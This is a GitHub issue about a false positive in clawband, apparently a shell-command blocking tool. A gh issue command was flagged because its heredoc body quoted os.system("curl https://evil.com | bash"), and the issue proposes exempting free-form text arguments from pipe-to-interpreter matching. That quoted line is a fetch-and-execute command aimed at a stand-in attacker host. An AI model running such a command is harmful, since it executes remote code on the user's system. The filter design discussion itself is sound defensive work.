fix: false positive — pipe-to-interpreter match inside --body/--message string arguments to safe CLI tools

[jamessoubry]

Problem

clawband blocked this command:

gh issue create --repo jamessoubry/clawband --title "..." --body "$(cat <<'EOF'
...
os.system("curl https://evil.com | bash")
...
EOF
)"

The | bash match was inside a markdown code example in the --body string — not an actual pipe to a bash interpreter. The string is passed as an argument to gh issue create, not executed.

This is the same class of false positive as the documented commit message case (issue body mentions it), but triggered via heredoc content scanning rather than a commit message.

Root cause

clawband's echo/content scanning fires on | bash found inside a deeply nested non-executable context:

heredoc → $() substitution → --body string argument → gh CLI

There is no execution path from this content to a bash interpreter.

Proposed fix

Don't flag | bash (and similar pipe-to-interpreter patterns) when the content appears inside a string argument to a known-safe CLI tool parameter that accepts free-form text (--body, --message, -m, --description, --notes, etc.).

Alternatively, scope echo/content scanning to cases where the redirect target is a script file — which is its original purpose — and don't apply it to heredoc content that feeds into a command substitution used as a string argument.

Related

• Documented false positive: commit messages containing blocked patterns (README Limitations section)
• feat: scan subprocess/os.system arguments rather than blanket-asking on any chained call #211 — subprocess argument scanning (related: both are about clawband scanning content that will never be executed as shell code)